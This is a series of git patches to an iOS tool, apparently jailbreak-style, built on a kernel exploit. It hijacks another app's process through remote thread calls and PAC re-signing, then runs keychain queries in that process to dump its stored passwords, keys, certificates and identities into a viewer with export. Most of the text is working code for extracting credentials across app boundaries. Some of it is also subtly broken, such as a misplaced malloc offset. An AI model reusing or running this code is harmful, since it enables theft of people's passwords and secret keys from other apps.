remote_sel(proc, "bytes"); + if (!sel_length || !sel_bytes) { + return nil; + } + + uint64_t dataLength = remote_msg(proc, remoteData, sel_length, 0, 0, 0, 0); + if (dataLength == 0) { + return [NSData data]; + } + + uint64_t bytesPtr = remote_msg(proc, remoteData, sel_bytes, 0, 0, 0, 0); + if (!bytesPtr) { + return nil; + } + + void *buffer = malloc((size_t)dataLength); + if (!buffer) { + return nil; + } + + NSData *data = nil; + if ([proc remoteRead:bytesPtr to:buffer size:dataLength]) { + data = [NSData dataWithBytes:buffer length:(NSUInteger)dataLength]; + } + free(buffer); + return data; +} + +static NSData *copy_remote_property_list_data(RemoteCall *proc, uint64_t remotePropertyList) { + if (!remotePropertyList) { + return nil; + } + + uint64_t cls_NSPropertyListSerialization = remote_getClass(proc, "NSPropertyListSerialization"); + uint64_t sel_dataWithPropertyList = remote_sel(proc, "dataWithPropertyList:format:options:error:"); + if (!cls_NSPropertyListSerialization || !sel_dataWithPropertyList) { + return nil; + } - symbols->kCFBooleanTrue = remote_dlsym(proc, "kCFBooleanTrue"); - symbols->kCFBooleanFalse = remote_dlsym(proc, "kCFBooleanFalse"); + uint64_t remoteData = remote_msg(proc, + cls_NSPropertyListSerialization, + sel_dataWithPropertyList, + remotePropertyList, + kBinaryPlistFormat, + 0, + 0); + remoteData = remote_retain(proc, remoteData); + if (!remoteData) { + return nil; + } + + NSData *plistData = copy_remote_nsdata(proc, remoteData); + remote_release(proc, remoteData); + return plistData; +} + +static NSArray * _Nullable parse_secitems_property_list(NSData *plistData) { + if (!plistData) { + return nil; + } + + NSError *error = nil; + id plist = [NSPropertyListSerialization propertyListWithData:plistData + options:NSPropertyListImmutable + format:nil + error:&error]; + if (!plist) { + logmsg(error.localizedDescription.UTF8String ?: "failed to decode keychain plist"); + return nil; + } + + if ([plist isKindOfClass:[NSDictionary class]]) { + return @[ (NSDictionary *)plist ]; + } - symbols->kSecReturnAttributes = remote_dlsym(proc, "kSecReturnAttributes"); - symbols->kSecReturnData = remote_dlsym(proc, "kSecReturnData"); + if ([plist isKindOfClass:[NSArray class]]) { + NSArray *items = (NSArray *)plist; + for (id item in items) { + if (![item isKindOfClass:[NSDictionary class]]) { + logmsg("keychain plist contained a non-dictionary item"); + return nil; + } + } + return (NSArray *)items; + } + + logmsg("keychain plist root was not a dictionary or array"); + return nil; +} - symbols->kSecMatchLimit = remote_dlsym(proc, "kSecMatchLimit"); - symbols->kSecMatchLimitAll = remote_dlsym(proc, "kSecMatchLimitAll"); - symbols->kSecMatchLimitOne = remote_dlsym(proc, "kSecMatchLimitOne"); +bool find_secitem_symbols(RemoteCall *proc, remote_sec_symbols *symbols) { + if (!proc || !symbols) { + return false; } - return symbols->SecItemCopyMatching != 0; + + *symbols = (remote_sec_symbols){0}; + symbols->SecItemCopyMatching = remote_dlsym(proc, "SecItemCopyMatching"); + + if (!symbols->SecItemCopyMatching) { + logmsg("failed to resolve SecItemCopyMatching"); + return false; + } + + return load_sec_constant_symbols(proc, symbols); } uint64_t remote_NSMutableDictionary_dictionary(RemoteCall *proc) { @@ -100,55 +251,95 @@ uint64_t remote_NSMutableDictionary_allKeys(RemoteCall *proc, uint64_t remoteDic return keys_array; } -NSDictionary* get_secitems(RemoteCall* proc, remote_sec_symbols* symbols, sec_class target_sec_class, bool get_data) { +NSArray * _Nullable get_secitems(RemoteCall* proc, remote_sec_symbols* symbols, sec_class target_sec_class, bool get_data) { + if (!proc || !symbols) return nil; + uint64_t remoteQueryDict = remote_NSMutableDictionary_dictionary(proc); + uint64_t remoteResultRef = 0; + uint64_t remoteResultObject = 0; + uint64_t remoteClassValue = 0; + int32_t status = 0; + NSArray *results = nil; + NSData *plistData = nil; if (!remoteQueryDict) return nil; - // Set kSecClass -> class value switch (target_sec_class) { case kSCGenericPassword: - remote_NSMutableDictionary_setObjectForKey(proc, remoteQueryDict, symbols->kSecClassGenericPassword, symbols->kSecClass); + remoteClassValue = symbols->kSecClassGenericPassword; break; case kSCInternetPassword: - remote_NSMutableDictionary_setObjectForKey(proc, remoteQueryDict, symbols->kSecClassInternetPassword, symbols->kSecClass); + remoteClassValue = symbols->kSecClassInternetPassword; break; case kSCCertificate: - remote_NSMutableDictionary_setObjectForKey(proc, remoteQueryDict, symbols->kSecClassCertificate, symbols->kSecClass); + remoteClassValue = symbols->kSecClassCertificate; break; case kSCKey: - remote_NSMutableDictionary_setObjectForKey(proc, remoteQueryDict, symbols->kSecClassKey, symbols->kSecClass); + remoteClassValue = symbols->kSecClassKey; break; case kSCIdentity: - remote_NSMutableDictionary_setObjectForKey(proc, remoteQueryDict, symbols->kSecClassIdentity, symbols->kSecClass); + remoteClassValue = symbols->kSecClassIdentity; break; } - - // Set kSecReturnAttributes -> @YES - remote_NSMutableDictionary_setObjectForKey(proc, remoteQueryDict, symbols->kCFBooleanTrue, symbols->kSecReturnAttributes); - // Set kSecMatchLimit -> kSecMatchLimitAll - remote_NSMutableDictionary_setObjectForKey(proc, remoteQueryDict, symbols->kSecMatchLimitAll, symbols->kSecMatchLimit); + + if (!remoteClassValue) { + logmsg("unsupported keychain class"); + goto cleanup; + } + + if (!remote_NSMutableDictionary_setObjectForKey(proc, remoteQueryDict, remoteClassValue, symbols->kSecClass) || + !remote_NSMutableDictionary_setObjectForKey(proc, remoteQueryDict, symbols->kCFBooleanTrue, symbols->kSecReturnAttributes) || + !remote_NSMutableDictionary_setObjectForKey(proc, remoteQueryDict, symbols->kSecMatchLimitAll, symbols->kSecMatchLimit)) { + logmsg("failed to build remote keychain query"); + goto cleanup; + } + if (get_data) { - // Optionally set kSecReturnData -> @YES - remote_NSMutableDictionary_setObjectForKey(proc, remoteQueryDict, symbols->kCFBooleanTrue, symbols->kSecReturnData); + if (!remote_NSMutableDictionary_setObjectForKey(proc, remoteQueryDict, symbols->kCFBooleanTrue, symbols->kSecReturnData)) { + logmsg("failed to request keychain item data"); + goto cleanup; + } } - uint64_t remoteResultDict = remote_NSMutableDictionary_dictionary(proc); - uint64_t remoteResultDictRef = remote_alloc_ref(proc, remoteResultDict); - RemoteArbCall(proc, symbols->SecItemCopyMatching, remoteQueryDict, remoteResultDictRef); - - NSDictionary* results = nil; - if (remoteResultDict) { - results = [[NSDictionary dictionary] initWithDictionary:(__bridge NSDictionary *)(void *)remoteResultDict copyItems:YES]; + remoteResultRef = remote_alloc_ref(proc, 0); + if (!remoteResultRef) { + logmsg("failed to allocate remote result pointer"); + goto cleanup; } - if (!proc.trojanMemIsStackFallback) { - RemoteArbCall(proc, free, remoteResultDictRef); + + status = (int32_t)RemoteArbCall(proc, symbols->SecItemCopyMatching, remoteQueryDict, remoteResultRef); + if (status == kSecItemNotFoundStatus) { + results = @[]; + goto cleanup; + } + if (status != 0) { + log_status_message("SecItemCopyMatching failed", status); + goto cleanup; + } + + remoteResultObject = [proc remoteRead64From:remoteResultRef]; + if (!remoteResultObject) { + logmsg("SecItemCopyMatching succeeded but returned no result"); + goto cleanup; + } + + plistData = copy_remote_property_list_data(proc, remoteResultObject); + if (!plistData) { + logmsg("failed to serialize remote keychain result"); + goto cleanup; + } + + results = parse_secitems_property_list(plistData); + +cleanup: + if (!proc.trojanMemIsStackFallback && remoteResultRef) { + RemoteArbCall(proc, free, remoteResultRef); } remote_release(proc, remoteQueryDict); - remote_release(proc, remoteResultDict); + remote_release(proc, remoteResultObject); return results; } @@ -158,4 +349,4 @@ uint64_t remote_NSMutableDictionary_allKeys(RemoteCall *proc, uint64_t remoteDic // NSData* get_secitem_data(RemoteCall* proc, remote_sec_symbols* symbols, NSString* key){ -// } \ No newline at end of file +// } diff --git a/lara/views/tweaks/KeychainView.swift b/lara/views/tweaks/KeychainView.swift index e901a47bb..24a2f5450 100644 --- a/lara/views/tweaks/KeychainView.swift +++ b/lara/views/tweaks/KeychainView.swift @@ -215,18 +215,28 @@ struct KeychainView: View { laramgr.shared.logmsg("(keychain) reading \(app.bundleID)...") DispatchQueue.global(qos: .userInitiated).async { - let proc = RemoteCall(process: app.executable, useMigFilterBypass: false) - if proc != nil { + if let proc = RemoteCall(process: app.executable, useMigFilterBypass: false) { var sec_symbols = remote_sec_symbols() if find_secitem_symbols(proc, &sec_symbols) { - let secitems = get_secitems(proc, &sec_symbols, .scGenericPassword, false) - laramgr.shared.logmsg("(keychain) \(secitems)") + if let secitems = get_secitems(proc, &sec_symbols, .scGenericPassword, false) { + laramgr.shared.logmsg("(keychain) fetched \(secitems.count) generic password item(s)") + for (index, item) in secitems.prefix(3).enumerated() { + laramgr.shared.logmsg("(keychain) item[\(index)] \(item)") + } + if secitems.count > 3 { + laramgr.shared.logmsg("(keychain) truncated \(secitems.count - 3) additional item(s)") + } + } else { + laramgr.shared.logmsg("(keychain) failed to read generic password items") + } + } else { + laramgr.shared.logmsg("(keychain) failed to resolve Security symbols") } DispatchQueue.main.async { self.datareadingbid = nil } - proc?.destroy() + proc.destroy() } else { DispatchQueue.main.async { self.datareadingbid = nil From 11630f670af47aea60488be3e843b499621db5ab Mon Sep 17 00:00:00 2001 From: QZ Yan Date: Thu, 9 Jul 2026 06:23:18 +0800 Subject: [PATCH 03/17] test cache --- lara/kexploit/keychain.h | 1 + lara/kexploit/keychain.m | 8 +++++-- lara/views/tweaks/KeychainView.swift | 35 +++++++++++++++++++--------- 3 files changed, 31 insertions(+), 13 deletions(-) diff --git a/lara/kexploit/keychain.h b/lara/kexploit/keychain.h index 5669441d1..bf761c1cc 100644 --- a/lara/kexploit/keychain.h +++ b/lara/kexploit/keychain.h @@ -12,6 +12,7 @@ #include #include #import +#import "RemoteCall.h" typedef void (*log_callback_t)(const char * _Nullable message); typedef void (*progress_callback_t)(double progress); diff --git a/lara/kexploit/keychain.m b/lara/kexploit/keychain.m index 4b0bee199..133f15ca5 100644 --- a/lara/kexploit/keychain.m +++ b/lara/kexploit/keychain.m @@ -10,7 +10,6 @@ #import "offsets.h" #import "utils.h" #import "vm.h" -#import "RemoteCall.h" #import #import @@ -72,7 +71,9 @@ static uint64_t remote_resolve_object_symbol(RemoteCall *proc, const char *name) if (!symbolSlot) { return 0; } - return [proc remoteRead64From:symbolSlot]; + uint64_t tmp = proc.trojanMem; + RemoteArbCall(proc, memcpy, tmp, symbolSlot, 8); + return [proc remoteRead64From:tmp]; } static bool load_sec_constant_symbols(RemoteCall *proc, remote_sec_symbols *symbols) { @@ -214,6 +215,9 @@ bool find_secitem_symbols(RemoteCall *proc, remote_sec_symbols *symbols) { return false; } + logmsg([[NSString stringWithFormat:@"Remote SecItemCopyMatching %llx", symbols->SecItemCopyMatching] UTF8String]); + logmsg([[NSString stringWithFormat:@"Local SecItemCopyMatching %llx", dlsym(RTLD_DEFAULT, "SecItemCopyMatching")] UTF8String]); + return load_sec_constant_symbols(proc, symbols); } diff --git a/lara/views/tweaks/KeychainView.swift b/lara/views/tweaks/KeychainView.swift index 24a2f5450..9ab55f9cf 100644 --- a/lara/views/tweaks/KeychainView.swift +++ b/lara/views/tweaks/KeychainView.swift @@ -216,19 +216,31 @@ struct KeychainView: View { DispatchQueue.global(qos: .userInitiated).async { if let proc = RemoteCall(process: app.executable, useMigFilterBypass: false) { + + DispatchQueue.main.async { + let ret = launch_app(app.bundleID) + guard ret == 0 else { + datareadingbid = nil + self.datareadingbid = nil + self.errormsg = "Could not launch app. Open it manually." + return + } + } + var sec_symbols = remote_sec_symbols() if find_secitem_symbols(proc, &sec_symbols) { - if let secitems = get_secitems(proc, &sec_symbols, .scGenericPassword, false) { - laramgr.shared.logmsg("(keychain) fetched \(secitems.count) generic password item(s)") - for (index, item) in secitems.prefix(3).enumerated() { - laramgr.shared.logmsg("(keychain) item[\(index)] \(item)") - } - if secitems.count > 3 { - laramgr.shared.logmsg("(keychain) truncated \(secitems.count - 3) additional item(s)") - } - } else { - laramgr.shared.logmsg("(keychain) failed to read generic password items") - } + // if let secitems = get_secitems(proc, &sec_symbols, .scGenericPassword, false) { + // laramgr.shared.logmsg("(keychain) fetched \(secitems.count) generic password item(s)") + // for (index, item) in secitems.prefix(3).enumerated() { + // laramgr.shared.logmsg("(keychain) item[\(index)] \(item)") + // } + // if secitems.count > 3 { + // laramgr.shared.logmsg("(keychain) truncated \(secitems.count - 3) additional item(s)") + // } + // } else { + // laramgr.shared.logmsg("(keychain) failed to read generic password items") + // } + laramgr.shared.logmsg("(keychain) symbols \(sec_symbols)") } else { laramgr.shared.logmsg("(keychain) failed to resolve Security symbols") } @@ -237,6 +249,7 @@ struct KeychainView: View { self.datareadingbid = nil } proc.destroy() + launch_app(Bundle.main.bundleIdentifier!) } else { DispatchQueue.main.async { self.datareadingbid = nil From 889f3be8221d48ed860616587433f349f34b5442 Mon Sep 17 00:00:00 2001 From: QZ Yan Date: Thu, 9 Jul 2026 08:19:23 +0800 Subject: [PATCH 04/17] fix pac strategy --- lara/kexploit/TaskRop/RemoteCall.m | 91 ++++++++++++++++-------------- 1 file changed, 48 insertions(+), 43 deletions(-) diff --git a/lara/kexploit/TaskRop/RemoteCall.m b/lara/kexploit/TaskRop/RemoteCall.m index eb66f3eee..e318b9067 100644 --- a/lara/kexploit/TaskRop/RemoteCall.m +++ b/lara/kexploit/TaskRop/RemoteCall.m @@ -542,58 +542,63 @@ - (BOOL)setExceptionPortOnThread:(mach_port_t)exceptionPort forThread:(uint64_t) // void sign_state(uint64_t signingThread, arm_thread_state64_internal *state, uint64_t pc, uint64_t lr) - (void)signState:(uint64_t)signingThread withState:(arm_thread_state64_internal *)state pc:(uint64_t)pc lr:(uint64_t)lr { - if(is_pac_supported() && !(state->__flags & __DARWIN_ARM_THREAD_STATE64_FLAGS_NO_PTRAUTH)) { - uint64_t diver = 0; - diver = (uint64_t)state->__flags & __DARWIN_ARM_THREAD_STATE64_USER_DIVERSIFIER_MASK; - uint64_t discPC = ptrauthblend(diver, ptrauthstrdisc("pc")); - uint64_t discLR = ptrauthblend(diver, ptrauthstrdisc("lr")); + if(is_pac_supported()) { uint64_t strippedPC = nativestrip(pc); uint64_t strippedLR = nativestrip(lr); - uint64_t signedPC = 0; - uint64_t signedLR = 0; - - if (pc) { - signedPC = remotepac(signingThread, pc, discPC); - if (!signedPC || signedPC == UINT64_MAX) { - signedPC = strippedPC; + if (!(state->__flags & __DARWIN_ARM_THREAD_STATE64_FLAGS_NO_PTRAUTH)) { + uint64_t diver = 0; + diver = (uint64_t)state->__flags & __DARWIN_ARM_THREAD_STATE64_USER_DIVERSIFIER_MASK; + uint64_t discPC = ptrauthblend(diver, ptrauthstrdisc("pc")); + uint64_t discLR = ptrauthblend(diver, ptrauthstrdisc("lr")); + uint64_t signedPC = 0; + uint64_t signedLR = 0; + + if (pc) { + signedPC = remotepac(signingThread, pc, discPC); + if (!signedPC || signedPC == UINT64_MAX) { + signedPC = strippedPC; + } } - } - if (lr) { - signedLR = remotepac(signingThread, lr, discLR); - if (!signedLR || signedLR == UINT64_MAX) { - signedLR = strippedLR; + if (lr) { + signedLR = remotepac(signingThread, lr, discLR); + if (!signedLR || signedLR == UINT64_MAX) { + signedLR = strippedLR; + } } - } - printf("(rc) signState: thread=0x%llx flags_before=0x%x diver=0x%llx pc_raw=0x%llx pc_signed=0x%llx lr_raw=0x%llx lr_signed=0x%llx\n", - signingThread, - state->__flags, - diver, - strippedPC, - signedPC, - strippedLR, - signedLR); - fflush(stdout); - rc_ios16_log_return_path_thread(signingThread, "signState"); - - uint32_t flags = state->__flags; - flags &= ~(__DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_PC | - __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_LR | - __DARWIN_ARM_THREAD_STATE64_FLAGS_IB_SIGNED_LR); - state->__flags = flags; - if (pc) state->__pc = signedPC; - if (lr) state->__lr = signedLR; - if (rc_is_ios16()) { - RC_IOS16_DEBUG_LOG("(rc.iOS16) signState flags after clear: flags_after=0x%x pc_set=%d lr_set=%d\n", - state->__flags, - pc != 0, - lr != 0); + printf("(rc) signState: thread=0x%llx flags_before=0x%x diver=0x%llx pc_raw=0x%llx pc_signed=0x%llx lr_raw=0x%llx lr_signed=0x%llx\n", + signingThread, + state->__flags, + diver, + strippedPC, + signedPC, + strippedLR, + signedLR); fflush(stdout); + rc_ios16_log_return_path_thread(signingThread, "signState"); + + uint32_t flags = state->__flags; + flags &= ~(__DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_PC | + __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_LR | + __DARWIN_ARM_THREAD_STATE64_FLAGS_IB_SIGNED_LR); + state->__flags = flags; + if (pc) state->__pc = signedPC; + if (lr) state->__lr = signedLR; + if (rc_is_ios16()) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) signState flags after clear: flags_after=0x%x pc_set=%d lr_set=%d\n", + state->__flags, + pc != 0, + lr != 0); + fflush(stdout); + } + return; + } else { + if (pc) state->__pc = strippedPC; + if (lr) state->__lr = strippedLR; } - return; } - if(!is_pac_supported() || state->__flags & __DARWIN_ARM_THREAD_STATE64_FLAGS_NO_PTRAUTH) { + if(!is_pac_supported()) { if (pc) state->__pc = pc; if (lr) state->__lr = lr; } From cf0a55c2013eb78c38b33228b390939467d7d2b6 Mon Sep 17 00:00:00 2001 From: QZ Yan Date: Thu, 9 Jul 2026 10:40:26 +0800 Subject: [PATCH 05/17] backend workable --- lara/kexploit/keychain.h | 2 + lara/kexploit/keychain.m | 133 ++++++++++++++++++++++++--- lara/views/tweaks/KeychainView.swift | 25 ++--- 3 files changed, 136 insertions(+), 24 deletions(-) diff --git a/lara/kexploit/keychain.h b/lara/kexploit/keychain.h index bf761c1cc..996f13a12 100644 --- a/lara/kexploit/keychain.h +++ b/lara/kexploit/keychain.h @@ -41,6 +41,8 @@ typedef struct { uint64_t kSecMatchLimit; uint64_t kSecMatchLimitAll; uint64_t kSecMatchLimitOne; + + uint64_t kSecAttrAccessControl; } remote_sec_symbols; typedef NS_ENUM(NSUInteger, sec_class) { diff --git a/lara/kexploit/keychain.m b/lara/kexploit/keychain.m index 133f15ca5..a7ab57f22 100644 --- a/lara/kexploit/keychain.m +++ b/lara/kexploit/keychain.m @@ -45,7 +45,7 @@ static void progupdate(double p) { } static const int32_t kSecItemNotFoundStatus = -25300; -static const uint64_t kBinaryPlistFormat = 200; +static const uint64_t kBinaryFormat = 200; static void log_status_message(const char *prefix, int32_t status) { char msg[160]; @@ -101,11 +101,23 @@ static bool load_sec_constant_symbols(RemoteCall *proc, remote_sec_symbols *symb RESOLVE_OBJECT_SYMBOL(kSecMatchLimit, "kSecMatchLimit"); RESOLVE_OBJECT_SYMBOL(kSecMatchLimitAll, "kSecMatchLimitAll"); RESOLVE_OBJECT_SYMBOL(kSecMatchLimitOne, "kSecMatchLimitOne"); + RESOLVE_OBJECT_SYMBOL(kSecAttrAccessControl, "kSecAttrAccessControl"); #undef RESOLVE_OBJECT_SYMBOL return true; } +void remote_description(RemoteCall *proc, uint64_t remoteObj) { + uint64_t remoteDesc = remote_msg(proc, remoteObj, remote_sel(proc, "description"), 0, 0, 0, 0); + uint64_t remoteStr = remote_msg(proc, remoteDesc, remote_sel(proc, "UTF8String"), 0, 0, 0, 0); + size_t len = RemoteArbCall(proc, strlen, remoteStr); + if (len) { + char* desc = malloc(len) + 1; + [proc remoteRead:remoteStr to:desc size:len]; + logmsg(desc); + } +} + static NSData *copy_remote_nsdata(RemoteCall *proc, uint64_t remoteData) { if (!remoteData) { return nil; @@ -119,22 +131,27 @@ static bool load_sec_constant_symbols(RemoteCall *proc, remote_sec_symbols *symb uint64_t dataLength = remote_msg(proc, remoteData, sel_length, 0, 0, 0, 0); if (dataLength == 0) { + logmsg("Empty NSData"); return [NSData data]; } uint64_t bytesPtr = remote_msg(proc, remoteData, sel_bytes, 0, 0, 0, 0); if (!bytesPtr) { + logmsg("Cannot get bytesPtr from NSData"); return nil; } void *buffer = malloc((size_t)dataLength); if (!buffer) { + logmsg("Buffer alloc failed"); return nil; } NSData *data = nil; if ([proc remoteRead:bytesPtr to:buffer size:dataLength]) { data = [NSData dataWithBytes:buffer length:(NSUInteger)dataLength]; + } else { + logmsg("Remote Read failed"); } free(buffer); return data; @@ -151,15 +168,27 @@ static bool load_sec_constant_symbols(RemoteCall *proc, remote_sec_symbols *symb return nil; } - uint64_t remoteData = remote_msg(proc, - cls_NSPropertyListSerialization, - sel_dataWithPropertyList, - remotePropertyList, - kBinaryPlistFormat, - 0, - 0); + uint64_t errorRef = remote_alloc_ref(proc, 0); + + uint64_t remoteData = remote_msg( + proc, + cls_NSPropertyListSerialization, + sel_dataWithPropertyList, + remotePropertyList, + kBinaryFormat, 0, errorRef + ); + if (!remoteData) { + logmsg("NSPropertyListSerialization init failed without retain"); + uint64_t error = [proc remoteRead64From:errorRef]; + if (error) { + remote_description(proc, error); + } + return nil; + } + remoteData = remote_retain(proc, remoteData); if (!remoteData) { + logmsg("NSPropertyListSerialization init failed after retain"); return nil; } @@ -215,9 +244,6 @@ bool find_secitem_symbols(RemoteCall *proc, remote_sec_symbols *symbols) { return false; } - logmsg([[NSString stringWithFormat:@"Remote SecItemCopyMatching %llx", symbols->SecItemCopyMatching] UTF8String]); - logmsg([[NSString stringWithFormat:@"Local SecItemCopyMatching %llx", dlsym(RTLD_DEFAULT, "SecItemCopyMatching")] UTF8String]); - return load_sec_constant_symbols(proc, symbols); } @@ -255,6 +281,87 @@ uint64_t remote_NSMutableDictionary_allKeys(RemoteCall *proc, uint64_t remoteDic return keys_array; } +bool remote_isKindOfClass_name(RemoteCall *proc, uint64_t remoteObject, const char *className) { + uint64_t sel_isKindOfClass = remote_sel(proc, "isKindOfClass:"); + uint64_t cls_target = remote_getClass(proc, className); + + if (!sel_isKindOfClass || !cls_target) { + return false; + } + if (remote_msg(proc, remoteObject, sel_isKindOfClass, cls_target, 0, 0, 0) == YES) { + return true; + } + return false; +} + +bool remote_isKindOfClass_cls(RemoteCall *proc, uint64_t remoteObject, uint64_t cls) { + uint64_t sel_isKindOfClass = remote_sel(proc, "isKindOfClass:"); + + if (!sel_isKindOfClass || !cls) { + return false; + } + if (remote_msg(proc, remoteObject, sel_isKindOfClass, cls, 0, 0, 0) == YES) { + return true; + } + return false; +} + +NSData *serialize_keychain_results(RemoteCall *proc, remote_sec_symbols* symbols, uint64_t remoteResultObject) { + NSData *plistData = nil; + + uint64_t cls_NSMutableArray = remote_getClass(proc, "NSMutableArray"); + uint64_t cls_NSDictionary = remote_getClass(proc, "NSDictionary"); + uint64_t sel_count = remote_sel(proc, "count"); + uint64_t sel_arrayWithCapacity = remote_sel(proc, "arrayWithCapacity:"); + uint64_t sel_objectAtIndex = remote_sel(proc, "objectAtIndex:"); + uint64_t sel_mutableCopy = remote_sel(proc, "mutableCopy"); + uint64_t sel_removeObjectForKey = remote_sel(proc, "removeObjectForKey:"); + uint64_t sel_addObject = remote_sel(proc, "addObject:"); + + if (!cls_NSMutableArray || + !cls_NSDictionary || + !sel_count || + !sel_arrayWithCapacity || + !sel_objectAtIndex || + !sel_mutableCopy || + !sel_removeObjectForKey || + !sel_addObject + ) { + return nil; + } + + if (remote_isKindOfClass_name(proc, remoteResultObject, "NSArray")) { + + size_t remoteArrayCount = remote_msg(proc, remoteResultObject, sel_count, 0, 0, 0, 0); + uint64_t mutableArray = remote_msg(proc, cls_NSMutableArray, sel_arrayWithCapacity, remoteArrayCount, 0, 0, 0); + mutableArray = remote_retain(proc, mutableArray); + + for (size_t idx = 0; idx < remoteArrayCount; idx++) { + uint64_t item = remote_msg(proc, remoteResultObject, sel_objectAtIndex, idx, 0, 0, 0); + if (remote_isKindOfClass_cls(proc, item, cls_NSDictionary)) { + uint64_t mutableDict = remote_msg(proc, item, sel_mutableCopy, 0, 0, 0, 0); + remote_msg(proc, mutableDict, sel_removeObjectForKey, symbols->kSecAttrAccessControl, 0, 0, 0); + remote_msg(proc, mutableArray, sel_addObject, mutableDict, 0, 0, 0); + } else { + remote_msg(proc, mutableArray, sel_addObject, item, 0, 0, 0); + } + } + plistData = copy_remote_property_list_data(proc, mutableArray); + + remote_release(proc, mutableArray); + + } else if (remote_isKindOfClass_cls(proc, remoteResultObject, cls_NSDictionary)) { + + uint64_t mutableDict = remote_msg(proc, remoteResultObject, sel_mutableCopy, 0, 0, 0, 0); + remote_msg(proc, mutableDict, sel_removeObjectForKey, symbols->kSecAttrAccessControl, 0, 0, 0); + plistData = copy_remote_property_list_data(proc, mutableDict); + + } else { + plistData = copy_remote_property_list_data(proc, remoteResultObject); + } + return plistData; +} + NSArray * _Nullable get_secitems(RemoteCall* proc, remote_sec_symbols* symbols, sec_class target_sec_class, bool get_data) { if (!proc || !symbols) return nil; @@ -265,6 +372,7 @@ uint64_t remote_NSMutableDictionary_allKeys(RemoteCall *proc, uint64_t remoteDic int32_t status = 0; NSArray *results = nil; NSData *plistData = nil; + if (!remoteQueryDict) return nil; switch (target_sec_class) { @@ -330,7 +438,8 @@ uint64_t remote_NSMutableDictionary_allKeys(RemoteCall *proc, uint64_t remoteDic goto cleanup; } - plistData = copy_remote_property_list_data(proc, remoteResultObject); + + plistData = serialize_keychain_results(proc, symbols, remoteResultObject); if (!plistData) { logmsg("failed to serialize remote keychain result"); goto cleanup; diff --git a/lara/views/tweaks/KeychainView.swift b/lara/views/tweaks/KeychainView.swift index 9ab55f9cf..bff6e6c94 100644 --- a/lara/views/tweaks/KeychainView.swift +++ b/lara/views/tweaks/KeychainView.swift @@ -227,20 +227,21 @@ struct KeychainView: View { } } + usleep(500000) + var sec_symbols = remote_sec_symbols() if find_secitem_symbols(proc, &sec_symbols) { - // if let secitems = get_secitems(proc, &sec_symbols, .scGenericPassword, false) { - // laramgr.shared.logmsg("(keychain) fetched \(secitems.count) generic password item(s)") - // for (index, item) in secitems.prefix(3).enumerated() { - // laramgr.shared.logmsg("(keychain) item[\(index)] \(item)") - // } - // if secitems.count > 3 { - // laramgr.shared.logmsg("(keychain) truncated \(secitems.count - 3) additional item(s)") - // } - // } else { - // laramgr.shared.logmsg("(keychain) failed to read generic password items") - // } - laramgr.shared.logmsg("(keychain) symbols \(sec_symbols)") + if let secitems = get_secitems(proc, &sec_symbols, .scGenericPassword, false) { + laramgr.shared.logmsg("(keychain) fetched \(secitems.count) generic password item(s)") + for (index, item) in secitems.prefix(3).enumerated() { + laramgr.shared.logmsg("(keychain) item[\(index)] \(item)") + } + if secitems.count > 3 { + laramgr.shared.logmsg("(keychain) truncated \(secitems.count - 3) additional item(s)") + } + } else { + laramgr.shared.logmsg("(keychain) failed to read generic password items") + } } else { laramgr.shared.logmsg("(keychain) failed to resolve Security symbols") } From 411201ced8b4531071d9ab2594b8c67820077f3d Mon Sep 17 00:00:00 2001 From: QZ Yan Date: Thu, 9 Jul 2026 13:55:44 +0800 Subject: [PATCH 06/17] full function UI --- lara/views/tweaks/KeychainView.swift | 1153 +++++++++++++++++++++++--- 1 file changed, 1024 insertions(+), 129 deletions(-) diff --git a/lara/views/tweaks/KeychainView.swift b/lara/views/tweaks/KeychainView.swift index bff6e6c94..553d72829 100644 --- a/lara/views/tweaks/KeychainView.swift +++ b/lara/views/tweaks/KeychainView.swift @@ -1,19 +1,250 @@ // -// DecryptView.swift +// KeychainView.swift // lara // // Created by neonmodder123 on 23.05.26. // import SwiftUI +import UIKit -struct KeychainApp: Identifiable { - let id = UUID() +private struct KeychainApp: Identifiable { let name: String let bundleID: String let bundlePath: String let executable: String let icon: UIImage? + + var id: String { bundleID } +} + +private enum KeychainClassKind: String, CaseIterable, Identifiable { + case genericPassword + case internetPassword + case certificate + case key + case identity + + var id: String { rawValue } + + var title: String { + switch self { + case .genericPassword: return "Generic Password" + case .internetPassword: return "Internet Password" + case .certificate: return "Certificate" + case .key: return "Key" + case .identity: return "Identity" + } + } + + var icon: String { + switch self { + case .genericPassword: return "key.horizontal" + case .internetPassword: return "globe" + case .certificate: return "checkmark.seal" + case .key: return "key" + case .identity: return "person.text.rectangle" + } + } + + var exportKey: String { + switch self { + case .genericPassword: return "genericPassword" + case .internetPassword: return "internetPassword" + case .certificate: return "certificate" + case .key: return "key" + case .identity: return "identity" + } + } + + var secClass: sec_class { + switch self { + case .genericPassword: return .scGenericPassword + case .internetPassword: return .scInternetPassword + case .certificate: return .scCertificate + case .key: return .scKey + case .identity: return .scIdentity + } + } +} + +private enum KeychainClassLoadState { + case success([KeychainItemResult]) + case empty + case failure(String) +} + +private struct KeychainClassResult: Identifiable { + let kind: KeychainClassKind + let state: KeychainClassLoadState + + var id: String { kind.id } + + var itemCount: Int { + switch state { + case .success(let items): return items.count + case .empty, .failure: return 0 + } + } + + var items: [KeychainItemResult] { + switch state { + case .success(let items): return items + case .empty, .failure: return [] + } + } + + var statusText: String { + switch state { + case .success(let items): return "\(items.count) items" + case .empty: return "0 items" + case .failure: return "Failed" + } + } + + var statusColor: Color { + switch state { + case .success(let items): + return items.isEmpty ? .secondary : .green + case .empty: + return .secondary + case .failure: + return .red + } + } + + var failureMessage: String? { + if case .failure(let message) = state { + return message + } + return nil + } + + var jsonObject: [String: Any] { + var object: [String: Any] = [ + "id": kind.exportKey, + "title": kind.title, + "status": jsonStatus, + "itemCount": itemCount, + "items": items.map(\.jsonObject), + ] + if let failureMessage { + object["error"] = failureMessage + } + return object + } + + private var jsonStatus: String { + switch state { + case .success: return "success" + case .empty: return "empty" + case .failure: return "failure" + } + } +} + +private struct KeychainFieldResult: Identifiable { + let key: String + let displayValue: String + let detailText: String + let searchText: String + let isMonospaced: Bool + let exportValue: Any + + var id: String { key } + + var jsonObject: [String: Any] { + [ + "key": key, + "value": exportValue, + ] + } +} + +private struct KeychainItemResult: Identifiable { + let id: String + let title: String + let subtitle: String? + let fields: 